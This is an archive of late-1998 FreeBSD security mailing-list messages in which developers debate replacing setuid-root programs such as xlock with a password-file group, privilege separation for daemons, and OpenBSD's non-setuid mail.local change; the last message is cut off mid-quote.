From owner-freebsd-security Sun Nov 15 07:16:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA02569 for freebsd-security-outgoing; Sun, 15 Nov 1998 07:16:33 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA02550 for ; Sun, 15 Nov 1998 07:16:18 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id QAA12993 for ; Sun, 15 Nov 1998 16:15:53 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id QAA04058 for ; Sun, 15 Nov 1998 16:15:55 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id QAA11186 for ; Sun, 15 Nov 1998 16:15:54 +0100 (CET) Message-ID: <19981115161548.A23869@internal> Date: Sun, 15 Nov 1998 16:15:48 +0100 From: Andre Albsmeier To: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Would this make FreeBSD more secure? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, while installing xlockmore, I noticed that its mode is 4111 for root. I think this is because it has to access the encrypted user passwords. Wouldn't it be generally a good idea to make the /etc/spwd.db and the /etc/master.passwd file 640 and give them to a newly created group? Then programs like xlockmore could be made setgid newgroup instead of setuid root which always makes me a little nervous. For example: root@voyager:~>ll /etc/spwd.db /etc/master.passwd -rw-r----- 1 root pw - 828 Nov 15 12:43 /etc/master.passwd -rw-r----- 1 root pw - 40960 Nov 15 12:43 /etc/spwd.db root@voyager:~>ll /usr/X11R6/bin/xlock ---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* What do you think? Will it make my systems more insecure with the above stuff or not? If not, wouldn't it make sense to incorporate the changes into FreeBSD? IMHO they break nothing since all programs can continue to access /etc/spwd.db and /etc/master.passwd in the old way but the new method would be possible as well. Thanks a lot, -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 09:59:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA17282 for freebsd-security-outgoing; Sun, 15 Nov 1998 09:59:40 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA17264; Sun, 15 Nov 1998 09:59:38 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id JAA15108; Sun, 15 Nov 1998 09:58:22 -0800 (PST) (envelope-from dillon) Date: Sun, 15 Nov 1998 09:58:22 -0800 (PST) From: Matthew Dillon Message-Id: <199811151758.JAA15108@apollo.backplane.com> To: Andre Albsmeier Cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981115161548.A23869@internal> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :Hi, : :while installing xlockmore, I noticed that its mode is 4111 for root. :... : :Wouldn't it be generally a good idea to make the /etc/spwd.db and :the /etc/master.passwd file 640 and give them to a newly created : :root@voyager:~>ll /usr/X11R6/bin/xlock :---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* : :What do you think? Will it make my systems more insecure with the :above stuff or not? If not, wouldn't it make sense to incorporate :the changes into FreeBSD? IMHO they break nothing since all programs :... : : -Andre I think this is an excellent idea. A similar method is used for the 'operator' group, to allow the dumper to dump disks without giving him write access to them. Another thing that would be nice would be to give certain user id's the ability to listen on low-numbered sockets without giving the rest of the users that ability. Without going to full-blown capabilities, and adding a sysctl to turn it on, I think we could reserve some gid_t values to mean certain things. For example, a user in group 0x80000001 would be allowed to bind to low-numbered ports. A user in group 0x80000002 would be allowed to chown files away in mode 01000 directories (allowing a mode 01740 directories to be controlled by a non-root program, but accessible by users, aka /var/mail). And so on. Immediate uses that I can see: * bind (has a user run mode, but then can't rebind on ifc changes) * sendmail (currently run under user with special hacks only) * popper (run as root) * imapd (run as root) * xterm (suid root for utmp access) -Matt Matthew Dillon Engineering, HiWay Technologies, Inc. & BEST Internet Communications & God knows what else. (Please include original email in any response) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 10:32:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA20320 for freebsd-security-outgoing; Sun, 15 Nov 1998 10:32:55 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA20123 for ; Sun, 15 Nov 1998 10:32:48 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id TAA24844 for ; Sun, 15 Nov 1998 19:22:27 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id TAA15918 for ; Sun, 15 Nov 1998 19:22:29 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id TAA12243 for ; Sun, 15 Nov 1998 19:22:28 +0100 (CET) Message-ID: <19981115192224.A29686@internal> Date: Sun, 15 Nov 1998 19:22:24 +0100 From: Andre Albsmeier To: Matthew Dillon , Andre Albsmeier Cc: hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811151758.JAA15108@apollo.backplane.com>; from Matthew Dillon on Sun, Nov 15, 1998 at 09:58:22AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Nov 15, 1998 at 09:58:22AM -0800, Matthew Dillon wrote: > > :Hi, > : > :while installing xlockmore, I noticed that its mode is 4111 for root. > :... > : > :Wouldn't it be generally a good idea to make the /etc/spwd.db and > :the /etc/master.passwd file 640 and give them to a newly created > : > :root@voyager:~>ll /usr/X11R6/bin/xlock > :---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* > : > :What do you think? Will it make my systems more insecure with the > :above stuff or not? If not, wouldn't it make sense to incorporate > :the changes into FreeBSD? IMHO they break nothing since all programs > :... > : > : -Andre > > I think this is an excellent idea. A similar method is used for > the 'operator' group, to allow the dumper to dump disks without > giving him write access to them. OK, and I already thought it might be stupid/insecure/not_working doing so because it's rather simple and nobody has come up with it before. But with my paranoia about setuid root stuff, I finally decided to ask now :-) > Another thing that would be nice would be to give certain user id's > the ability to listen on low-numbered sockets without giving the rest > of the users that ability. > > Without going to full-blown capabilities, and adding a sysctl to turn > it on, I think we could reserve some gid_t values to mean certain > things. For example, a user in group 0x80000001 would be allowed > to bind to low-numbered ports. A user in group 0x80000002 would be > allowed to chown files away in mode 01000 directories (allowing a > mode 01740 directories to be controlled by a non-root program, but > accessible by users, aka /var/mail). And so on. > > Immediate uses that I can see: > > * bind (has a user run mode, but then can't rebind on ifc > changes) > * sendmail (currently run under user with special hacks only) > * popper (run as root) > * imapd (run as root) At least with popper (although I use cucipop) I think its difficult because I deliver mail to my users homedirs. > * xterm (suid root for utmp access) Yes, this is another candidate. Is the setuid root permission really only used to access /var/run/utmp? Let's see what the others say... -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 14:09:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA08415 for freebsd-security-outgoing; Sun, 15 Nov 1998 14:09:53 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id OAA08398; Sun, 15 Nov 1998 14:09:51 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0zfAMJ-00017u-00; Sun, 15 Nov 1998 15:09:27 -0700 Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.1/8.8.3) with ESMTP id PAA01604; Sun, 15 Nov 1998 15:10:27 -0700 (MST) Message-Id: <199811152210.PAA01604@harmony.village.org> To: Andre Albsmeier Subject: Re: Would this make FreeBSD more secure? Cc: Matthew Dillon , hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sun, 15 Nov 1998 19:22:24 +0100." <19981115192224.A29686@internal> References: <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> Date: Sun, 15 Nov 1998 15:10:26 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19981115192224.A29686@internal> Andre Albsmeier writes: : > * xterm (suid root for utmp access) : : Yes, this is another candidate. Is the setuid root permission really only : used to access /var/run/utmp? No. xterm uses it to chown the pty to the user. It would be hard for the device to chown itself when opened, since devices operate below the file system.... xterm tosses its setuid-ness quickly. There is a window in xterm for attack, should it do its data copies or file creation in a sloppy manner. I don't think that low port binding restrictions would be worth it. What does it really buy you? Little, imho. If an intruder breaks the daemon, you can run arbitrary code as that user, and then be a "trusted" user on the network, which would likely make it easy to gain root from there. I think that it will complicate things too much for the small security gains that you'll get from it. Just my opinion, mind you. Likewise for other pseudo capabilities. A full blown one might help, but I remain skeptical. Back to the original thread, I'm not sure how making more programs setgid would help system security. Small ones that are easy to audit have proven, in the past, that too many programmers don't know how to use C's APIs in the face of a malicious attacker[*]. Larger programs seem to me to be asking for trouble. Problems may also arise in the long term as the pw acquires new meanings that early adapters weren't aware of. Look at how /etc/shells has grown from just being those users that can login to ftp, to being much, much more... Warner [*] Don't flame 'c' unless you have a complete system in place to take its place that performs as well. We've had that flame war here too recently for everyone to have lost their mind :-). Even the internet doesn't loose its mind that quickly :-). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 14:10:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA08518 for freebsd-security-outgoing; Sun, 15 Nov 1998 14:10:08 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA08509 for ; Sun, 15 Nov 1998 14:10:06 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost.cdrom.com [127.0.0.1]) by zippy.cdrom.com (8.9.1a/8.9.1) with ESMTP id OAA21242 for ; Sun, 15 Nov 1998 14:10:35 -0800 (PST) To: security@FreeBSD.ORG Subject: "Todd C. Miller": sendmail changes in OpenBSD 2.4 Date: Sun, 15 Nov 1998 14:10:34 -0800 Message-ID: <21235.911167834@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hmmm. This sounds like a rather large user hit to take, but one less suid root executable (and an end to the other problems described below) also has strong appeal. Comments? - Jordan ------- Forwarded Message To: announce@openbsd.org Subject: sendmail changes in OpenBSD 2.4 Date: Sun, 15 Nov 1998 14:49:25 -0700 From: "Todd C. Miller" Sender: owner-announce@openbsd.org In 2.4, /usr/libexec/mail.local is no longer setuid, to prevent its abuse by users (trivial mail forgery, filling up /var/mail, etc). If you are upgrading from a previous version of OpenBSD you will need to either regenerate your sendmail.cf with an OSTYPE of "openbsd" instead of "bsd4.4" or edit the sendmail.cf directly and in the line that begins with Mlocal, change the "rmn9" to "rmn9S". If you use an old sendmail.cf with the 2.4 mail.local you will lose mail. - todd ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 14:57:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA12931 for freebsd-security-outgoing; Sun, 15 Nov 1998 14:57:57 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA12907; Sun, 15 Nov 1998 14:57:53 -0800 (PST) (envelope-from tlambert@usr05.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.8.8/8.8.8) id PAA10913; Sun, 15 Nov 1998 15:57:29 -0700 (MST) Received: from usr05.primenet.com(206.165.6.205) via SMTP by smtp03.primenet.com, id smtpd010906; Sun Nov 15 15:57:26 1998 Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id PAA02868; Sun, 15 Nov 1998 15:57:20 -0700 (MST) From: Terry Lambert Message-Id: <199811152257.PAA02868@usr05.primenet.com> Subject: Re: Would this make FreeBSD more secure? To: dillon@apollo.backplane.com (Matthew Dillon) Date: Sun, 15 Nov 1998 22:57:20 +0000 (GMT) Cc: andre.albsmeier@mchp.siemens.de, hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-Reply-To: <199811151758.JAA15108@apollo.backplane.com> from "Matthew Dillon" at Nov 15, 98 09:58:22 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > :while installing xlockmore, I noticed that its mode is 4111 for root. > :... > : > :Wouldn't it be generally a good idea to make the /etc/spwd.db and > :the /etc/master.passwd file 640 and give them to a newly created > : > :root@voyager:~>ll /usr/X11R6/bin/xlock > :---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* > : > :What do you think? Will it make my systems more insecure with the > :above stuff or not? If not, wouldn't it make sense to incorporate > :the changes into FreeBSD? IMHO they break nothing since all programs > > I think this is an excellent idea. A similar method is used for > the 'operator' group, to allow the dumper to dump disks without > giving him write access to them. There are several holes in the theory. The number one hole is that if I'm trusting you to read the engrpted passwords, I'm trusting you to not run "crack" (or whatever) against the password file. Basically, DES is insecure enough tese days that if I trust you with read access, I'm effectively trusting you with the root password (if you had access to the EFF hardware, you could obtain root in less than an hour). I think it's a bad idea to spread this trust around like this. Second, if I trust a program to read the file, but not to write it, I'm saying I have less trust in the program than I would hold out for "root". This is ridiculous, since I'm implicitly trusting the program to not have a hidden option to enumerate the shadow password database contents, and I'm also entrusting it to not be a trojan that, when passwords are successfully validated, the account/password information gets sent someplace. Basically, if I'm in for a penny, I'm in for a pound, and relying on obscurity and spreading the wealth around are both bad security risks. > Another thing that would be nice would be to give certain user id's > the ability to listen on low-numbered sockets without giving the rest > of the users that ability. SCO ODT had this "feature". SVR4 also has this "feature". It's effectively the same thing as VMS (or NT) installed images, where the image itself conveys permission to do things. Actually, there's already something like this for FreeBSD: "sudo". For priviledged ports, we have a different program: "inetd". > Immediate uses that I can see: > > * bind (has a user run mode, but then can't rebind on ifc > changes) This is more of a problem with the fact that we bind to IP addresses instead of binding to interfaces. Ideally, you would want to bind to interfaces, IP addreses, or both, e.g.: ed0:192.168.1.1 *:192.168.1.1 ed0:* > * sendmail (currently run under user with special hacks only) Not true. This is a matter of configuration file settings; so long as you don't specify a mailer to run under a user other than the user whom sendmail runs, you can run as non-root. The big PITA is the local delivery agent, *not* sendmail itself. > * popper (run as root) Don't use the qualcomm code. > * imapd (run as root) Don't know whose you are running; my imapd and pop3d run as user "cyrus". The U of W imapd/pop3d runs as a non-root user as well. > * xterm (suid root for utmp access) Yeah, well, this is just bogus because of the way credentials are handled in FreeBSD. It's the same reason we can't have per-user instead of per-machine SAMBA credeintions: there's no explicit session manager to act as credential holder, and to which programs can proxy requests. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 15:09:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA14252 for freebsd-security-outgoing; Sun, 15 Nov 1998 15:09:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from burka.rdy.com (burka.rdy.com [205.149.163.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA14247 for ; Sun, 15 Nov 1998 15:09:51 -0800 (PST) (envelope-from dima@burka.rdy.com) Received: (from dima@localhost) by burka.rdy.com (8.9.1/RDY&DVV) id PAA17526; Sun, 15 Nov 1998 15:09:27 -0800 (PST) Message-Id: <199811152309.PAA17526@burka.rdy.com> Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 In-Reply-To: <21235.911167834@zippy.cdrom.com> from "Jordan K. Hubbard" at "Nov 15, 1998 2:10:34 pm" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Sun, 15 Nov 1998 15:09:26 -0800 (PST) Cc: security@FreeBSD.ORG X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard writes: > Hmmm. This sounds like a rather large user hit to take, but one less > suid root executable (and an end to the other problems described > below) also has strong appeal. Comments? We were using the same on FreeBSD here at BEST and didn't have any single problem with it. > > - Jordan -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 16:19:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA23736 for freebsd-security-outgoing; Sun, 15 Nov 1998 16:19:05 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA23726 for ; Sun, 15 Nov 1998 16:19:00 -0800 (PST) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.9.1/8.8.8) id QAA26323; Sun, 15 Nov 1998 16:18:35 -0800 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda26321; Sun Nov 15 16:18:24 1998 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.1/8.9.1) id QAA06460; Sun, 15 Nov 1998 16:18:22 -0800 (PST) Message-Id: <199811160018.QAA06460@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdRb6456; Sun Nov 15 16:18:21 1998 X-Mailer: exmh version 2.0.2 2/24/98 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cy To: "Jordan K. Hubbard" cc: security@FreeBSD.ORG Subject: Re: "Todd C. Miller": sendmail changes in OpenBSD 2.4 In-reply-to: Your message of "Sun, 15 Nov 1998 14:10:34 PST." <21235.911167834@zippy.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 15 Nov 1998 16:18:20 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <21235.911167834@zippy.cdrom.com>, "Jordan K. Hubbard" writes: > Hmmm. This sounds like a rather large user hit to take, but one less > suid root executable (and an end to the other problems described > below) also has strong appeal. Comments? I like it. On a tangent, I've implemented a non-suid sendmail on a testbed about a year ago. It required that sendmail queue only, that sendmail process the queue from cron, and Obtuse Systems smtpd handle port 25. Programs run via .forward, e.g. MH's slocal, initially broke. Maybe this should be investigated further and possibly implemented. (Yes I am aware of Qmail, one of my subordinates uses it on machines he manages. That solution has its problems too.) Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: cschuber@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 18:20:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA02640 for freebsd-security-outgoing; Sun, 15 Nov 1998 18:20:54 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA02626; Sun, 15 Nov 1998 18:20:50 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.1/8.9.1) id SAA16490; Sun, 15 Nov 1998 18:20:27 -0800 (PST) (envelope-from dillon) Date: Sun, 15 Nov 1998 18:20:27 -0800 (PST) From: Matthew Dillon Message-Id: <199811160220.SAA16490@apollo.backplane.com> To: Terry Lambert Cc: andre.albsmeier@mchp.siemens.de, hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811152257.PAA02868@usr05.primenet.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :> :while installing xlockmore, I noticed that its mode is 4111 for root. :> :... :> : :> :Wouldn't it be generally a good idea to make the /etc/spwd.db and :> :the /etc/master.passwd file 640 and give them to a newly created :> : :> :root@voyager:~>ll /usr/X11R6/bin/xlock :> :---x--s--x 1 root pw - 126976 Oct 1 08:17 /usr/X11R6/bin/xlock* :> : :> :What do you think? Will it make my systems more insecure with the :> :above stuff or not? If not, wouldn't it make sense to incorporate :> :the changes into FreeBSD? IMHO they break nothing since all programs :> :> I think this is an excellent idea. A similar method is used for :> the 'operator' group, to allow the dumper to dump disks without :> giving him write access to them. : : :There are several holes in the theory. The number one hole is :that if I'm trusting you to read the engrpted passwords, I'm :... I'm not so pessimistic. Anything that layers security is better then having nothing at all. It's easy to throw together examples of the failings of any scheme, but to then say that "gee, I'll just give up and give the program root" after shooting down a reasonable idea makes no sense whatsoever to me. The failings of the password file really have very little to do with the concept. If anything, it points out the necessity of using something like kerberos, beefing up the password file's encryption, or using ssh with *'d out passwords in the password file. This problem is easily surmountable. Just because you are storing encrypted passwords in your password file doesn't mean that I am. If you take an idea and try to make it work in every possible situation, you wind up with nothing left at the end of the day. That's a silly way to argue. inetd only goes so far... it is not a good way to start a subsystem such as sendmail or INN that you want to stick around as a daemon, and doesn't work at all when you use more sophisticated sendmail features such as when you separate the queue runs from the daemon, or if you put user's mailboxes in their home directories. In order to do it right, you need to be able to give sendmail the capability to listen on a low numbered port and you need to hack /bin/mail to run an suid 'create home directory' program when necessary. As I said... it requires hacking sendmail (or more to the point: /bin/mail) to make it work. Default configurations don't typically work on heavily loaded systems. Don't assume that we use the same configurations you use. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 22:30:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25061 for freebsd-security-outgoing; Sun, 15 Nov 1998 22:30:18 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25053 for ; Sun, 15 Nov 1998 22:30:13 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA28887 for ; Mon, 16 Nov 1998 07:29:42 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA22427 for ; Mon, 16 Nov 1998 07:29:44 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA15465 for ; Mon, 16 Nov 1998 07:29:44 +0100 (CET) Message-ID: <19981116072937.E969@internal> Date: Mon, 16 Nov 1998 07:29:37 +0100 From: Andre Albsmeier To: Warner Losh , Andre Albsmeier Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811152210.PAA01604@harmony.village.org>; from Warner Losh on Sun, Nov 15, 1998 at 03:10:26PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Nov 15, 1998 at 03:10:26PM -0700, Warner Losh wrote: > In message <19981115192224.A29686@internal> Andre Albsmeier writes: > : > * xterm (suid root for utmp access) > : > : Yes, this is another candidate. Is the setuid root permission really only > : used to access /var/run/utmp? > > No. xterm uses it to chown the pty to the user. It would be hard for > the device to chown itself when opened, since devices operate below > the file system.... xterm tosses its setuid-ness quickly. There is a > window in xterm for attack, should it do its data copies or file > creation in a sloppy manner. I see, thanks. > I don't think that low port binding restrictions would be worth it. > What does it really buy you? Little, imho. If an intruder breaks the > ... > Back to the original thread, I'm not sure how making more programs > setgid would help system security. Small ones that are easy to audit Well, if you make it setgid and use 640 on the password file, you a) can't write to the pw file directly any more b) have to crack the root pw from the still readable pw file in order to become root. Now you are root immediately. > have proven, in the past, that too many programmers don't know how to > use C's APIs in the face of a malicious attacker[*]. Larger programs > seem to me to be asking for trouble. Problems may also arise in the > long term as the pw acquires new meanings that early adapters weren't > aware of. Look at how /etc/shells has grown from just being those > users that can login to ftp, to being much, much more... BTW, by examining the xlockmore configure file I found that I am not the first one thinking of it: ---------------------------- snip ------------------------------ if test -e /etc/shadow ; then INSTPGMFLAGS="-g shadow -m 2111" case `ls -l /etc/shadow` in -???r?????\ *\ shadow\ *\ /etc/shadow) # group shadow can read it INSTPGMFLAGS="-g shadow -m 2111" ;; *) INSTPGMFLAGS="-o root -m 4111" ;; esac ---------------------------- snap ---------------------------- -Andre > > Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Nov 15 22:39:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25821 for freebsd-security-outgoing; Sun, 15 Nov 1998 22:39:48 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25813 for ; Sun, 15 Nov 1998 22:39:44 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA00846 for ; Mon, 16 Nov 1998 07:39:17 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA24850 for ; Mon, 16 Nov 1998 07:39:19 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA15536 for ; Mon, 16 Nov 1998 07:39:19 +0100 (CET) Message-ID: <19981116073914.F969@internal> Date: Mon, 16 Nov 1998 07:39:14 +0100 From: Andre Albsmeier To: Terry Lambert , Matthew Dillon Cc: andre.albsmeier@mchp.siemens.de, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811151758.JAA15108@apollo.backplane.com> <199811152257.PAA02868@usr05.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811152257.PAA02868@usr05.primenet.com>; from Terry Lambert on Sun, Nov 15, 1998 at 10:57:20PM +0000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Nov 15, 1998 at 10:57:20PM +0000, Terry Lambert wrote: > > :while installing xlockmore, I noticed that its mode is 4111 for root. > > :... > > : > > 